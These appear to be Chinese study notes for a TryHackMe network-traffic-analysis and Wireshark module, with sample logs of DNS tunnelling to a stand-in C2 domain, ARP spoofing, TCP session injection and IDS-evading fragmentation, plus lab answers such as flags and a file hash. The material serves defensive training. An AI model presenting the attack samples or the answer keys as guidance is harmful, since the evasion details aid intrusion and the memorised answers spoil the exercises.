目录
- [Section 6:网络流量分析](#Section 6:网络流量分析)
- 网络流量基础知识
- Wireshark:基础知识
- Wireshark:数据包操作
- Wireshark:流量分析
- Nmap扫描
- ARP投毒攻击和中间人攻击!
- [主机识别:DHCP、NetBIOS 和 Kerberos](#主机识别:DHCP、NetBIOS 和 Kerberos)
- [隧道流量:DNS 和 ICMP](#隧道流量:DNS 和 ICMP)
- ICMP分析
- [DNS 分析](#DNS 分析)
- 明文协议分析:FTP
- 明文协议分析:HTTP
- 用户代理分析
- [Log4j 分析](#Log4j 分析)
- [加密协议分析:解密 HTTPS](#加密协议分析:解密 HTTPS)
- 奖励:寻找明文凭证!
- 额外福利:可执行的结果!
- 结论
- 网络矿工
- 介绍
- [NetworkMiner 在取证中的应用](#NetworkMiner 在取证中的应用)
- NetworkMiner是什么?
- [工具概述 1](#工具概述 1)
- [工具概述 2](#工具概述 2)
- 版本差异
- 练习
Section 6:网络流量分析
网络流量基础知识
了解什么是网络分析、为什么它至关重要、如何收集网络流量以及有哪些工具可用。
介绍
网络流量分析 ( NTA ) 是一个涵盖捕获、检查和分析网络中数据流的过程。其目标是全面了解网络内外通信的内容。需要强调的是,NTA并非 Wireshark 工具的同义词。它远不止于此:NTA 结合了多种日志、深度包检测和网络流量统计信息,并针对特定的目标(我们将在后文讨论)进行关联分析。
掌握网络流量分析技能至关重要,这不仅对有志成为安全运营中心 (SOC)一级分析师的人来说如此,对蓝队和红队中的许多其他角色也同样重要。作为一名一级分析师,你需要能够从海量的网络信息中理清头绪,分辨哪些是正常情况,哪些是偏离基准线的情况。
在这个房间里,我们将重点讨论网络流量分析的定义、为什么需要它、如何观察网络流量以及需要注意的一些网络流量来源和流向。
- 学习目标
- 了解什么是网络流量分析
- 了解可以观察到什么
- 了解如何监控网络流量
- 了解典型的网络流量来源和流
网络流量分析的目的是什么?
我们为什么要分析网络流量?在回答这个问题之前,让我们先来看下面的场景。
DNS隧道和信标
您是一名SOC分析师,收到一条警报,指出来自名为WIN-016、IP地址为192.168.1.16的主机的DNS查询数量异常增多。防火墙上的DNS日志显示,多个DNS查询发往同一个顶级域名(TLD),每次都使用不同的子域名。
bash
2025-10-03 09:15:23 SRC=192.168.1.16 QUERY=aj39skdm.malicious-tld.com QTYPE=A
2025-10-03 09:15:31 SRC=192.168.1.16 QUERY=msd91azx.malicious-tld.com QTYPE=A
2025-10-03 09:15:45 SRC=192.168.1.16 QUERY=cmd01.malicious-tld.com QTYPE=TXT
2025-10-03 09:15:45 SRC=192.168.1.16 QUERY=cmd01.malicious-tld.com QTYPE=TXT
根据 DNS 日志,我们可以检索到以下信息:
- 查询和查询类型
- 子域名和顶级域名:我们可以使用 abuseDB 或 VirusTotal 等工具来检查域名是否恶意。
- 主机 IP:我们可以识别发出 DNS 查询的系统。
- 目标 IP:我们可以使用 AbuseIPDB或VirusTotal等工具来验证该 IP 是否被标记为恶意 IP。
- 时间戳:我们可以构建一个时间线,记录下不同的可疑查询。
DNS 日志包含的信息仅限于此,因此仅凭这些信息很难得出结论。我们需要更彻底地检查 DNS 流量,并核对 DNS 查询和响应的内容。这将有助于我们确定这些查询和响应的性质。
这种情况充分说明了为什么我们需要网络流量分析。防火墙和其他设备会记录 DNS 查询及其响应,但不会记录其内容。例如,攻击者可以利用 TXT 记录向受感染的系统发送命令与控制 (C2) 指令。我们可以通过检查 DNS 查询的内容来发现这一点。下面的数据包捕获片段显示了一个包含 C2 命令的 DNS 响应的内容。
json
Domain Name System (response)
Transaction ID: 0x4a2b
Flags: 0x8180 Standard query response, No error
1... .... .... .... = Response: Message is a response
.... .... .... 0000 = RCODE: No error (0)
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
Queries
cmd1.evilc2.com: type TXT, class IN
Answers
cmd1.evilc2.com: type TXT, class IN, TTL 60, TXT length: 20
TXT: "SSBsb3ZlIHlvdXIgY3VyaW91c2l0eQ=="
我们为什么要分析网络流量?
通常,我们会利用网络流量分析来:
- 监控网络性能
- 检查网络是否存在异常情况,例如:性能突然飙升、网络速度变慢等。
- 检查内部和外部可疑通信的内容。例如,通过DNS进行数据泄露、通过HTTP下载恶意 ZIP 文件、横向移动等。
从安全运营中心(SOC)的角度来看,网络流量分析有助于:
- 检测可疑或恶意活动
- 事件响应期间的攻击重建
- 验证和确认警报
以下两个场景进一步说明了网络流量分析的重要性:
- 根据终端用户系统的日志,该系统在世界协调时下午 4 点左右开始出现异常行为。通过分析进出该系统的网络流量,我们发现了一个可疑的HTTP请求,并成功提取出了一个可疑的 ZIP 文件。
- 我们收到警报,显示某个终端用户系统发送的DNS请求数量远超网络基线水平。经检查,我们发现有人利用一种名为DNS隧道的技术窃取数据。
既然我们知道了为什么 需要网络流量分析,接下来让我们继续下一个任务,看看我们究竟可以监控什么。
请回答以下问题。
通过 DNS 走私 C2 命令的技术名称是什么?
python
DNS Tunneling
我们可以观察到哪些网络流量?
要展现我们能够观察到的网络流量,最好的方法是使用几乎所有带网络接口的设备都实现的架构:TCP /IP协议栈。下图展示了TCP /IP模型的不同层。每一层都描述了将数据传递到下一层所需的信息(头部)。每个头部中包含的信息,连同应用程序数据,正是我们想要观察的内容。日志通常包含这些头部的部分信息,但从未包含完整的包详细信息。这就是我们需要进行网络流量分析的原因。

应用
层包含两个重要的信息结构:应用头部信息和应用数据本身(有效载荷)。这些信息会根据所使用的应用层协议而变化。我们来看一个HTTP的例子。
以下代码片段展示了客户端发送 GET 请求的应用程序标头和服务器的响应。大多数 Web 代理和防火墙都会记录这些标头数据。但它们不会记录应用程序数据或有效负载。从 GET 请求中,您可以确定客户端正在请求一个名为 <filename> 的文件suspicious_package.zip。服务器的响应包含 200 代码,表示请求已被接受。
但是,您在日志中看不到的是 ZIP 文件的内容(用<<--符号指出)。
请求
json
GET /downloads/suspicious_package.zip HTTP/1.1
Host: www.tryhackrne.thn
User-Agent: curl/7.85.0
Accept: */*
Connection: close
回复
json
HTTP/1.1 200 OK
Date: Mon, 29 Sep 2025 10:15:30 GMT
Server: nginx/1.18.0
Content-Type: application/zip
Content-Length: 10485760
Content-Disposition: attachment; filename="suspicious_package.zip"
Last-Modified: Mon, 29 Sep 2025 09:54:00 GMT
ETag: "5d8c72-9f8a1c-3a2b4c"
Accept-Ranges: bytes
Connection: close
[binary ZIP file bytes follow --- 10,485,760 bytes] <<--
传输层:
应用层的数据和头部信息会被分割并封装成更小的片段。每个片段都包含一个传输头部,通常是 TCP 或 UDP 协议。让我们来看一下下面的防火墙日志条目:
json
2025-10-13 09:15:32 ACCEPT TCP src=192.168.1.45 dst=172.217.22.14 sport=51432 dport=443 flags=SYN len=60
2025-10-13 09:15:32 ACCEPT TCP src=172.217.22.14 dst=192.168.1.45 sport=443 dport=51432 flags=SYN,ACK len=60
防火墙日志通常包含源端口、目标端口和标志位,但其他字段通常不包含在内。然而,这些字段对于检测某些类型的攻击(例如会话劫持)非常有价值。可以通过分析数据包头部中的序列号 来检测会话劫持。如果序列号突然出现较大偏差,则需要进行进一步调查。以下输出显示了使用 Wireshark 捕获的一系列数据包。
json
No. Time Source Destination Protocol Length Info
1 0.000000 192.168.1.45 172.217.22.14 TCP 74 51432 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
2 0.000120 172.217.22.14 192.168.1.45 TCP 74 80 → 51432 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460
3 0.000220 192.168.1.45 172.217.22.14 TCP 66 51432 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
4 0.010500 192.168.1.45 172.217.22.14 TCP 1514 51432 → 80 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=1460
5 0.010620 172.217.22.14 192.168.1.45 TCP 66 80 → 51432 [ACK] Seq=1 Ack=1461 Win=65535 Len=0
6 0.020100 192.168.99.200 172.217.22.14 TCP 74 51432 → 80 [PSH, ACK] Seq=34567232<<--这个 Ack=1 Win=64240 Len=20
- 前三行显示的是正常的TCP三次握手过程。
- 第 4 行和第 5 行显示合法数据传输。
- 第 6 行显示来自其他源的数据包试图将自身注入会话。请注意序列号的大幅跳跃。
在互联网传输过程中,当传输层发送一个数据段时,网络层也会添加其头部。如果数据段大于最大传输单元 (MTU),则会被分割成多个分片,并为每个分片添加头部。最常记录的字段是源 IP 地址、目标 IP 地址和生存时间 (TTL)。这对于大多数应用场景来说已经足够。但是,如果我们想要检测分片攻击,例如,还需要检查分片偏移量和总长度字段。分片攻击有多种变体。例如,攻击者可以创建极小的分片来绕过入侵检测系统 (IDS),或者通过使用重叠的字节范围来干扰分片的重组。下面的示例展示了重叠的字节范围。第 3 行的偏移量与第 2 行的偏移量Offset重叠。这意味着整个数据包可以通过某种方式重组。攻击者可以利用这种技术来绕过 IDS。
json
No. Time Source Destination Protocol Length Info
1 0.000000 203.0.113.45 192.168.1.10 UDP 1514 Fragmented IP protocol (UDP) (id=0x1a2b) [MF] Offset=0, Len=1480
2 0.000015 203.0.113.45 192.168.1.10 UDP 1514 Fragmented IP protocol (UDP) (id=0x1a2b) [MF] Offset=1480, Len=1480
3 0.000030 203.0.113.45 192.168.1.10 UDP 600 Fragmented IP protocol (UDP) (id=0x1a2b) Offset=1480, Len=64 <-- Overlap
4 0.000045 192.168.1.10 203.0.113.45 ICMP 98 Destination unreachable (Fragment reassembly time exceeded)
链路
层完成封装后,IP 数据包会被发送到链路层。链路层也会添加自己的头部,其中包含更多寻址信息。大多数日志会显示源 MAC 地址和目标 MAC 地址。但对于某些类型的攻击,例如 ARP 欺骗或投毒攻击,日志中的信息可能不足以应对。对于这类攻击,我们需要完整的数据包及其上下文。例如,日志无法显示 MAC 地址是否出现在多个接口上,或者是否发送了许多 MAC 地址冲突的免费 ARP 数据包。以下示例展示了一个 ARP 投毒攻击的数据包捕获。IP 地址为 192.168.1.200 的主机使用相同的 MAC 地址回复每个 ARP 请求。
json
No. Time Source Destination Protocol Length Info
1 0.000000 192.168.1.1 Broadcast ARP 60 Who has 192.168.1.10? Tell 192.168.1.1
2 0.000025 192.168.1.10 192.168.1.1 ARP 60 192.168.1.10 is at 00:11:22:33:44:55
3 1.002010 192.168.1.200 192.168.1.1 ARP 60 192.168.1.10 is at aa:bb:cc:dd:ee:ff <-- Attacker spoof
4 1.002015 192.168.1.200 192.168.1.10 ARP 60 192.168.1.1 is at aa:bb:cc:dd:ee:ff <-- Attacker spoof
5 1.100000 192.168.1.10 172.217.22.14 TCP 74 54433 → 80 [SYN] Seq=0 Win=64240 Len=0
6 1.100120 192.168.1.200 172.217.22.14 TCP 74 54433 → 80 [SYN] Seq=0 Win=64240 Len=0 <-- Relayed via attacker
请回答以下问题。
请查看任务中的 HTTP 示例,并回答以下问题:HTTP 响应中包含的 ZIP 附件的大小是多少?请以字节为单位记下答案。
python
10485760
攻击者使用哪种攻击方式来试图绕过入侵检测系统 (IDS)?
python
fragmentation
我们可以使用 TCP 报头中的哪个字段来检测会话劫持?
python
sequence number
网络流量来源和流向
在之前的任务中,我们讨论了基于TCP /IP 协议栈的理论观察结果。实际上,关注具体的源和流更有帮助。企业网络通常有一些预先确定的网络流和源。我们可以将这些源分为两类:
- 中介
- 端点
我们还可以将这些流量分为两类:
- 南北向:进出局域网并经过防火墙的流量
- 东西向:指局域网内的流量(包括延伸到云端的局域网流量)。
下面我们逐一探讨它们。
来源
如前所述,网络流量来源有两种:终端设备和中间设备。这些设备既存在于局域网 (LAN) 中,也存在于广域网 (WAN) 中。
中间源:
这些设备是流量的主要通道。虽然它们也会产生一些流量,但远低于终端设备产生的流量。此类设备包括防火墙、交换机、Web代理、入侵检测系统(IDS)、入侵防御系统(IPS)、路由器、接入点、无线局域网控制器等等。或许与我们关系不大,但互联网服务提供商的所有基础设施也属于此类。
这些设备产生的流量来自路由协议(EIGRP、OSPF、BGP)、管理协议(SNMP、PING)、日志协议(SYSLOG)和其他支持协议(ARP、STP、DHCP)等服务。
终端源:
这些是流量的起始点和终点。终端设备占用大部分网络带宽。属于这一类别的设备包括服务器、主机、物联网设备、打印机、虚拟机、云资源、移动电话、平板电脑等等。
流量
网络流量通常取决于网络中可用的服务,例如 Active Directory、SMB、HTTPS 等。在典型的企业网络中,我们可以将这些流量分为南北向流量和东西向流量。
南北向流量
(NS流量)通常在局域网(LAN)和广域网(WAN)之间双向流动时受到密切监控。此类流量中最常见的是客户端-服务器协议,例如HTTPS、DNS、SSH、VPN、SMTP、RDP等等。每种协议都有两个流:入站(ingress)和出站(egress)。所有这些流量都会以某种方式经过防火墙。正确配置防火墙规则和日志记录是实现流量可见性的关键。
东西向流量
(EW流量)通常只在企业局域网内传输,因此监控较少。然而,跟踪这些流量至关重要。当网络遭到入侵时,攻击者往往会利用内部不同的服务在网络中横向移动。如下所示,此类服务种类繁多。点击每个类别即可查看其包含的服务。
目录、身份验证和身份服务
- Kerberos /LDAP:身份验证/对 Active Directory 的查询
- RADIUS/TACACS+:网络访问控制
- 证书颁发机构颁发内部证书
文件共享和打印服务
- SMB /CIFS:访问网络驱动器
- IPP/LPD:网络打印
路由器、交换机和基础设施服务
- 主机与DHCP服务器之间的DHCP通信
- ARP广播消息
- 内部DNS
- 路由协议消息
应用通信
- 数据库连接:基于TCP 的SQL
- 微服务 API:服务之间的REST或 gRPC 调用
备份与复制
- 文件复制:在数据中心之间或复制到备份服务器
- 数据库复制:MySQL 二进制日志复制、PostgreSQL 流式复制等等
监控与管理
- SNMP:设备健康指标
- 系统日志:集中式日志记录
- NetFlow / IPFIX:流量遥测
- 其他端点日志会发送到中央日志服务器
流程示例
让我们通过可视化的方式来看一下上面提到的一些网络流量。
HTTPS
有多种不同的网络流量流。我们来看一个 Web代理执行TLS检查的流:
主机请求访问某个网站;该请求被发送到下一代防火墙 (NGFW),其中包含一个 Web代理。Web代理充当 Web 服务器,同时与实际的 Web 服务器建立一个新的TCP会话,并将客户端的请求转发出去。当 Web代理收到 Web 服务器的响应时,它会检查响应内容,如果认为安全,则将其转发给主机。总而言之,这里有两个会话,一个在客户端和代理之间,另一个在代理和 Web 服务器之间。从客户端的角度来看,它已经与 Web 服务器建立了一个会话。

企业网络内部的外部DNS
通信始于主机发送DNS查询。主机将查询发送到端口 53 的内部DNS服务器,该服务器将代表主机执行操作。首先,它会检查缓存中是否有该查询的答案;如果没有,它会将查询通过路由器和防火墙发送到已配置的DNS服务器。然后,答案将沿着相同的路径到达内部DNS 服务器,最终由内部 DNS服务器转发给主机。下图显示了一个简化的流程图。

使用Kerberos的SMB 协议:
当主机打开一个共享文件夹(例如 \FILESERVER\MARKETING)时,会建立一个SMB会话。首先,通过Kerberos进行身份验证。当用户登录主机时,它会向域控制器上的密钥分发中心进行身份验证,并收到一个票证授予票据 (TGT),用于请求"服务身份验证票据" 。然后,主机使用之前收到的 TGT 请求服务票据。主机随后使用此票据建立SMB连接。SMB 会话建立后,主机即可访问该共享文件夹。下图是该流程的简化网络图。

请回答以下问题。
网络中哪类设备产生的流量最大?
python
endpoint
建立 SMB 会话之前,需要先联系哪个服务进行身份验证?
python
kerberos
TLS是什么的缩写?
python
Transport Layer Security
我们如何观察网络流量?
既然我们已经了解了网络中可以且应该观察的内容,接下来让我们看看如何进行观察。正如引言中所述,网络流量分析侧重于整合多种信息源,对其进行分析,发现其中的模式,并利用分析结果指导后续行动。
我们可以通过多种方式获取这些信息来源:
- 日志
- 完整数据包捕获
- 网络统计
日志
日志是我们获取网络运行信息的首要途径。网络中的每个系统和协议都包含记录信息的方式。需要注意的是,目前并没有适用于所有系统和协议的通用日志记录标准。每个厂商都会自行选择日志记录的实现方式。例如,微软实现了 Windows 事件日志。此外,记录哪些数据也取决于厂商。大多数厂商不会记录数据包进出系统时的完整信息,而是会记录一些他们认为有用的字段,例如源 IP 地址和目标 IP 地址。在下面的终端中,我们可以看到一些示例日志,例如使用 Syslog 格式的Linux主机身份验证日志和使用 CLF 标准的Apache Web 服务器访问日志。
bash
# Auth log
Oct 8 11:20:15 web01 sshd[2145]: Accepted password for gensane from 192.168.1.50 port 52234 ssh2
# Apache web server access log
192.168.1.50 - - [08/Oct/2025:11:20:18 +0200] "GET /index.html HTTP/1.1" 200 2326 "-" "Mozilla/5.0"
尽管没有标准的日志记录方式,但有一些协议提供了一种将日志消息从设备发送到收集器的标准化方式,例如 Syslog 和 SNMP。
当日志提供的信息不足时,我们必须深入挖掘。为此,我们需要关联日志、检查完整的数据包捕获并查看网络统计信息。
完整数据包捕获
在任务三中,我们讨论了完整数据包的结构。现在,我们想知道如何捕获和检查这些数据包。为此,我们有两种选择:
- 安装物理网络分路器
- 配置端口镜像
网络分路器(Network
TAP)是一种可以串联到网络中的物理设备。这些设备会复制所有经过的网络流量,而不会影响网络性能。复制的数据随后会通过专用的监控端口转发到数据包捕获设备、入侵检测系统(IDS)或其他系统。值得注意的是,网络分路器仅在 TCP/IP 模型的链路层工作;它不需要 MAC 或 IP 地址,因为它复制的是电信号/光信号并将其发送到监控端口。这样,就不会增加网络延迟。下图展示了一个网络分路器的示例。

端口
镜像是一种软件方法,用于将数据包从中间设备上的一个端口复制到连接到例如入侵检测系统 (IDS)、数据包捕获设备或其他系统的另一个端口。每个厂商都有自己的命名。例如,思科称之为 SPAN。在下面的终端中,我们可以看到如何在思科设备上配置 SPAN。在本例中,经过的数据包fastEthernet0/1将被复制并发送到另一个端口fastEthernet0/2。
json
Switch(config)# monitor session 1 source interface fastEthernet0/1
Switch(config)# monitor session 1 destination interface fastEthernet0/2
下图展示了其工作原理。WIN-001 通过交换机发送数据包与服务器通信。数据包到达交换机后,会被复制一份并发送到监控设备。

请注意,中间设备不一定是物理设备,端口镜像也可以配置在虚拟设备上,例如 VMware vSwitch。云环境也提供专门的镜像服务。例如,AWS 提供 VPC 流量镜像。
最佳实践:
进行完整数据包捕获时,我们需要考虑以下几个方面:
- 放置位置:根据我们要捕获的流量类型,我们需要将 TAP 放置在正确的位置或将镜像配置在正确的位置。
- 持续时间:完整的数据包捕获需要相应的存储空间。如果在 1 Gbps 的线路上捕获一整天的流量,平均需要 10.8 TB 的存储空间。想象一下,在 10Gb 或 40Gb 的线路上,我们需要多少存储空间。
- 镜像与分路:物理分路几乎不会造成性能损失。而镜像在大量流量通过镜像端口时可能会影响性能。
工具
现在我们已经了解了如何进行完整的数据包捕获,接下来让我们看看可用于分析这些数据包的工具:
- Wireshark
- TCPdump
- IPS / IDS类似 Snort、Suricata 和Zeek
以上列举的是可用于分析完整数据包捕获的众多工具中的一部分。在本模块的后续章节中,我们将重点介绍 Wireshark 的使用。
网络统计
另一种查找网络异常的好方法是收集网络中数据流的元数据,例如统计主机发送的DNS请求数量。一些协议可以实现这一点。我们将简要讨论其中的两种:NetFlow和IPFIX。
NetFlow是思科开发的一种协议,用于收集网络中流量的元数据。它是检测C2流量、数据泄露和横向移动等问题的有效方法。下图显示了一个NetFlow输出示例。我们可以看到,该示例不包含单个数据包,而是包含从源 IP 地址 12.1.1.1 到目标 IP 地址 13.1.1.2 的数据包流的元数据。

**互联网协议流信息导出协议 ( IPFIX )**可以被视为NetFlow的继任者。NetFlow最初是思科的专有协议,这意味着该协议最初仅供思科系统使用。直到NetFlow v9 版本,思科才引入模板功能,以便其他厂商能够将其适配到自己的设备上。互联网工程任务组 (IETF)与思科及其他厂商合作创建了IPFIX,并将其作为厂商中立的标准发布。IPFIX 提供与NetFlow类似的功能,但在配置要捕获的字段方面更加灵活。
要实现NetFlow或IPFIX,我们不需要全新的基础设施或专用服务器。大多数厂商都在其设备中默认实现了这些协议。我们只需要启用并配置协议,并提供一个接收元数据的位置即可。您无需专用服务器来收集这些数据;许多下一代防火墙 (NGFW)、入侵防御系统 (IPS)和入侵检测系统 (IDS)都内置了收集和分析流量数据的机制。
我放在了webproxy和防火墙之间,也就是说流量进去的时候的那个节点,那就能看到所有的流量了

这里是要看dns流量,那就放在dns请求的dns服务前即可

请回答以下问题。
场景 1 中 HTTP 流量里包含的标志是什么?该标志的格式为 THM{}。
python
THM{FoundTheMalware}
场景 2 中 DNS 流量里发现的标志是什么?该标志的格式为 THM{}。
python
THM{C2CommandFound}
Wireshark:基础知识
介绍
Wireshark 是一款开源、跨平台的网络数据包分析工具,能够嗅探和分析实时网络流量,并检查数据包捕获文件(PCAP)。它被广泛认为是最佳数据包分析工具之一。在本教程中,我们将学习 Wireshark 的基础知识,并使用它进行基本的数据包分析。
学习目标
- 浏览和配置 Wireshark
- 检查数据包并从TCP /IP的不同层中发现信息。
- 应用显示筛选器
工具描述
用例
Wireshark是目前市面上功能最强大的流量分析工具之一。它有多种用途:
- 检测和排除网络问题,例如网络负载故障点和拥塞。
- 检测安全异常情况,例如恶意主机、异常端口使用情况和可疑流量。
- 调查和学习协议细节,例如响应代码和有效载荷数据。
注意:Wireshark 并非入侵检测系统 ( IDS )。它仅允许分析人员发现并深入调查数据包。它不会修改数据包,只是读取它们。因此,检测任何异常或网络问题都高度依赖于分析人员的知识和调查技能。
虚拟机中提供了两个捕获文件。您可以使用这些http1.pcapng文件来模拟屏幕截图中的操作。请注意,您需要使用这些Exercise.pcapng文件来回答问题。
图形用户界面和数据
Wireshark图形用户界面打开后会显示一个功能齐全的单一页面,帮助用户以多种方式分析网络流量。乍一看,五个部分非常突出。
| 工具栏 | 主工具栏包含多个用于数据包嗅探和处理的菜单和快捷方式,包括过滤、排序、汇总、导出和合并。 |
|---|---|
| 显示筛选栏 | 主要查询和筛选部分。 |
| 最近的文件 | 最近调查过的文件列表。双击即可调出列表中的文件。 |
| 捕获过滤器和接口 | 捕获过滤器和可用的嗅探点(网络接口)。网络接口是计算机与网络之间的连接点。软件连接(例如,lo、eth0 和 ens33)启用网络硬件。 |
| 状态栏 | 工具状态、配置文件和数字数据包信息。 |
下图显示了 Wireshark 的主窗口。表格中解释的各个部分已高亮显示。
现在打开 Wireshark,并按照以下步骤操作。

加载PCAP文件
上图显示的是 Wireshark 的空白界面。唯一可见的信息是最近处理的http1.pcap文件。让我们加载该文件,看看 Wireshark 的详细数据包呈现方式。请注意,您也可以使用 "文件" 菜单、拖放文件或双击文件来加载pcap 文件。

现在,我们可以看到已处理的文件名、数据包的详细数量以及数据包详情。数据包详情显示在三个不同的窗格中,方便我们以不同的格式查看。
| 数据包列表窗格 | 每个数据包的摘要(源地址和目标地址、协议和数据包信息)。您可以点击列表选择一个数据包进行深入分析。选择数据包后,详细信息将显示在其他面板中。 |
|---|---|
| 数据包详情面板 | 所选数据包的详细协议分解。 |
| 数据包字节窗格 | 显示所选数据包的十六进制和解码后的 ASCII 表示形式。它会根据详细信息窗格中单击的部分高亮显示相应的数据包字段。 |
涂色包
除了快速显示数据包信息外,Wireshark 还会根据不同的条件和协议对数据包进行着色,以便快速发现捕获数据中的异常情况和协议(这就解释了为什么在提供的屏幕截图中几乎所有内容都是绿色的)。这种对数据包信息的快速查看可以帮助您在分析过程中准确找到所需内容。您可以使用显示过滤器创建自定义颜色规则来突出显示感兴趣的事件,我们将在下一节中介绍这些过滤器。现在,让我们重点关注默认设置,并了解如何查看和使用显示的数据详细信息。
Wireshark 提供两种数据包着色方法:临时规则和永久规则。临时规则仅在当前程序会话期间有效,而永久规则则保存在首选项文件(配置文件)中,可在下次程序会话中使用。您可以使用"右键单击"菜单或 "视图"→"着色规则" 菜单创建永久着色规则。 **"着色数据包列表"菜单用于激活/停用着色规则。临时数据包着色则通过"右键单击"菜单或****"视图"→"会话过滤器"**菜单 完成 ,具体内容将在任务 5 中介绍。
默认的永久着色效果如下所示。

交通嗅探
您可以使用蓝色 "鲨鱼按钮" 启动网络嗅探(捕获流量),红色按钮停止嗅探,绿色按钮重新启动嗅探过程。状态栏还会显示正在使用的嗅探接口和已收集的数据包数量。

合并PCAP文件
Wireshark 可以将两个pcap文件合并成一个文件。您可以使用 "文件 --> 合并" 菜单路径将一个pcap 文件与已处理的文件合并。选择第二个文件后,Wireshark 会显示所选文件中的数据包总数。单击"打开"后,它会将现有的pcap文件与所选文件合并,并创建一个新的pcap文件。请注意,您需要先保存合并后的pcap文件才能进行后续操作。
参见 GIF

查看文件详情
了解文件详情很有帮助。尤其是在处理多个pcap文件时,有时需要了解并记住文件详情(文件哈希值、捕获时间、捕获文件注释、接口和统计信息)才能识别文件、对其进行分类和优先级排序。您可以通过"统计信息 --> 捕获文件属性" 或单击左下角的 pcap 图标来查看 详情。

请回答以下问题。
请使用"Exercise.pcapng"文件回答问题。
阅读 "capture file comments"
flag是什么?
这里就是打开文件属性查看即可

python
TryHackMe_Wireshark_Demo
数据包总数是多少?
python
58620
捕获文件的SHA256 哈希 值是多少?

python
f446de335565fb0b0ee5e5a3266703c778b2f3dfad7efeaeccb2da5641a6d6eb
包解剖
包解剖
数据包剖析也称为协议剖析,它通过解码可用的协议和字段来分析数据包的详细信息。Wireshark 支持多种协议进行剖析,您也可以编写自己的剖析脚本。您可以在这里:https://github.com/boundary/wireshark/blob/master/doc/README.dissector找到更多关于剖析的详细信息。
注意: 本节介绍 Wireshark 如何使用 OSI 层来分解数据包,以及如何使用这些层进行分析。假设您已经具备 OSI 模型及其工作原理方面的基础知识。
数据包详情
您可以点击数据包列表窗格中的数据包以查看其详细信息(双击将在新窗口中打开详细信息)。数据包由基于 OSI 模型的 5 到 7 层组成。我们将通过一个示例捕获的HTTP数据包来逐一了解这些层。下图显示的是第 27 个数据包。

每次单击某个细节时,都会在数据包字节窗格中突出显示相应的部分。

让我们仔细看一下详细信息窗格。

我们可以看到数据包由七个不同的层组成:,,,,,,和。frame/packet下面我们将更详细地介绍这些层。
source [MAC] source [IP] protocol protocol errors application protocol application data
帧(第 1 层): 这将显示您正在查看的帧/数据包以及 OSI 模型物理层的特定详细信息。

源 MAC 地址(第 2 层): 这将显示源 MAC 地址和目标 MAC 地址;来自 OSI 模型的数据链路层。

源 [IP](第 3 层): 这将显示源 IPv4 地址和目标 IPv4 地址;来自 OSI 模型的网络层。

协议(第 4 层): 这将显示所使用的协议(UDP / TCP)以及源端口和目标端口的详细信息;来自 OSI 模型的传输层。

协议错误: 这是第四层的延续,显示了需要重新组装的TCP特定段。

应用层协议(第 5 层): 此处将显示所用协议的具体信息,例如HTTP、FTP和SMB。此部分属于 OSI 模型的应用层。

应用数据: 此第五层的扩展可以显示特定于应用程序的数据。

请回答以下问题。
请使用"Exercise.pcapng"文件回答问题。参见第38题。HTTP 协议使用哪种标记语言?

python
eXtensible Markup Language
包的到达日期是什么时候?(答案格式:月/日/年)

python
05/13/2004
TTL值是多少?

python
47
TCP有效载荷大小是多少?
展开传输层查看

python
424
e-tag的值是什么?
(例如:82ecb-6321-9e904585)

python
9a01a-4696-7e354b00
数据包导航
数据包编号
Wireshark 会计算被分析的数据包数量,并为每个数据包分配一个唯一的编号。这有助于分析大型数据包,并方便用户回溯到事件的特定时间点。

前往数据包
数据包编号不仅有助于统计数据包总数,还能方便地查找/分析特定数据包。此功能不仅可以上下导航数据包,还能进行帧内数据包跟踪,并查找会话特定部分中的下一个数据包。您可以使用 "前往" 菜单和工具栏查看特定数据包。

查找数据包
除了数据包编号,Wireshark 还可以通过数据包内容查找数据包。您可以使用 "编辑 --> 查找数据包" 菜单在数据包中搜索特定事件。这有助于分析人员和管理员查找特定的入侵模式或故障轨迹。
查找数据包有两个关键点。首先是了解输入类型。此功能接受四种类型的输入(显示过滤器、十六进制、字符串和正则表达式)。字符串和正则表达式搜索是最常用的搜索类型。搜索默认不区分大小写,但您可以通过单击单选按钮来设置搜索是否区分大小写。
第二点是选择搜索字段。您可以在三个窗格(数据包列表、数据包详细信息和数据包字节)中进行搜索,了解每个窗格中可用的信息对于找到感兴趣的事件至关重要。例如,如果您尝试在数据包列表窗格中查找数据包详细信息窗格中的信息,即使该信息存在,Wireshark 也找不到。
PS: 其实Ctrl+f 快捷键能快速唤出

标记包
标记数据包是分析人员的另一项实用功能。您可以通过标记来查找/定位特定数据包,以便进行深入调查。这有助于分析人员找到感兴趣的事件或从捕获的数据中导出特定数据包。您可以使用 "编辑" 或 "右键单击" 菜单来标记/取消标记数据包。
无论原始连接类型代表的颜色是什么,标记的数据包都将以黑色显示。请注意,标记的数据包信息在每个文件会话期间都会更新,因此关闭捕获文件后,标记的数据包将会丢失。

数据包注释
与数据包标记类似,注释是分析人员的另一项实用功能。您可以为特定数据包添加注释,以帮助进一步调查,或提醒其他层分析人员注意重要/可疑之处。与数据包标记不同的是,注释会一直保留在捕获文件中,直到操作员将其删除。

导出数据包
捕获文件可能包含数千个数据包。如前所述,Wireshark 并非入侵检测系统 (IDS),因此有时需要从文件中提取特定数据包并进行深入分析以解决安全事件。此功能有助于分析人员仅共享可疑数据包(已确定范围)。这样,冗余信息就不会被纳入分析过程。您可以使用 "文件" 菜单导出数据包。

导出对象(文件)
Wireshark 可以提取通过网络传输的文件。对于安全分析师而言,发现共享文件并将其保存以供进一步调查至关重要。导出对象功能仅适用于特定协议流(DICOM、HTTP、IMF、SMB和 TFTP)。

时间显示格式
Wireshark 会列出捕获到的数据包,因此分析默认流并非总是最佳选择。默认情况下,Wireshark 以"自捕获开始以来的秒数"显示时间,通常使用UTC时间显示格式以获得更佳的视图。您可以使用 "视图 --> 时间显示格式" 菜单更改时间显示格式。


专家信息
Wireshark 还能检测协议的特定状态,帮助分析人员轻松发现潜在的异常和问题。请注意,这些只是建议,始终存在误报/漏报的可能性。专家信息可以提供三个不同严重程度的类别。详情见下表。
| 严重程度 | 颜色 | 信息 |
|---|---|---|
| 聊天 | 蓝色的 | 常规工作流程信息。 |
| 笔记 | 青色 | 值得注意的事件,例如应用程序错误代码。 |
| 警告 | 黄色的 | 警告信息,例如异常错误代码或问题描述。 |
| 错误 | 红色的 | 例如数据包格式错误之类的问题。 |
